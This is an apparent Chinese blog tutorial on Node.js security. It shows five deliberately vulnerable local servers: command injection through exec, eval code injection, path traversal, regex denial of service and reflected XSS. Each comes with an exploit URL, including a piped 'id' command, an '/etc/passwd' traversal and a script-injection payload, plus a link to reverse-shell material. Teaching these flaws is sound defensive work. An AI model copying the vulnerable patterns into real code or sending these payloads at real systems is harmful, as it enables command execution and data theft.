Node.js安全课程

2019-04-18  本文已影响0人  Lucifer1993

1.命令执行
从代码中看出exe首先声明了一个child_process对象,然后通过parsedUrl传递的ping变量拼接传入exec方法,这样就可以控制程序流程执行想要执行的系统命令。

var http = require("http");
var url = require("url");
var exe = require('child_process');
http.createServer(function(request, response)
{
  var parsedUrl = url.parse(request.url, true);
  response.writeHead(200, {"Content-Type": "text/html"});
  exe.exec('ping -c 2 ' + parsedUrl.query.ping, function (err, data)
  {
  response.write("Hello "+ data);
  response.end();
  });

}).listen(8888);

exploit: http://127.0.0.1:8888/?ping=127.0.0.1|id

image.png

2.代码执行
分析代码这里使用express构建了一个web服务器,传递的name参数被包裹在eval函数里造成了代码执行。

var express = require('express');
var app = express();
app.get('/', function(req, res) {
  var resp=eval("("+req.query.name+")");
  res.send('Response</br>'+resp);
});
app.listen(8000);
通过传入表达式来验证是否存在漏洞。
image.png
可以看出表达式被执行,然后利用nodejs内置模块调用继续获取信息。
image.png
>反弹shell参考: https://www.jianshu.com/p/7e5c9d1cba4a

3.路径穿越
这段代码同样开了一个express服务,参数load被__dirname拼接,__dirname是引用模块的当前路径,然后通过创建读文件流用pipe读取文件内容。

var http = require('http'),
    fileSystem = require('fs'),
    path = require('path');

var express = require('express');
var app = express();
app.get('/', function(req, res) {
   var filePath = path.join(__dirname, '/' + req.query.load);
   var readStream = fileSystem.createReadStream(filePath);
   readStream.pipe(res);
});
app.listen(8888);

exploit: http://127.0.0.1:8888/?load=../../../../../../etc/passwd

image.png

4.ReDoS正则表达式拒绝服务攻击
关于正则表达式的拒绝服务可以参考,原理都是一样的。

https://www.freebuf.com/articles/network/124422.html

var http = require("http");
var url = require("url");
http.createServer(function(request, response)
{
  starttime = process.hrtime();
  var emailExpression = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
  var parsedUrl = url.parse(request.url, true);
  response.writeHead(200, {"Content-Type": "text/html"});
  response.write("User Input : "+ parsedUrl.query.email);
  response.write("Email Validation : "+ emailExpression.test( parsedUrl.query.email ));
  response.write("</br>Server Response Time: " + process.hrtime(starttime));
  response.end();
}).listen(8888);

只要我们构造的payload满足尽可能多的匹配,当注入足够的字符的时候,正则表达式耗费时间就会越久,从而达到拒绝服务攻击的目的。

exploit:http://127.0.0.1:8888/?email=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx@xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/

image.png
大概要11秒左右才完成响应。

5.反射型XSS
通过代码可以看到传递的参数name直接回显到响应体中,所以构成反射型XSS。

var http = require("http");
var url = require("url");
http.createServer(function(request, response)
{
  var parsedUrl = url.parse(request.url, true);
  response.writeHead(200, {"Content-Type": "text/html"});
  response.write("Hello "+ parsedUrl.query.name);
  response.end();
}).listen(8888);

exploit: http://127.0.0.1:8888/?name=%3Cscript%3Ealert(1)%3C/script%3E

image.png
上一篇 下一篇

猜你喜欢

热点阅读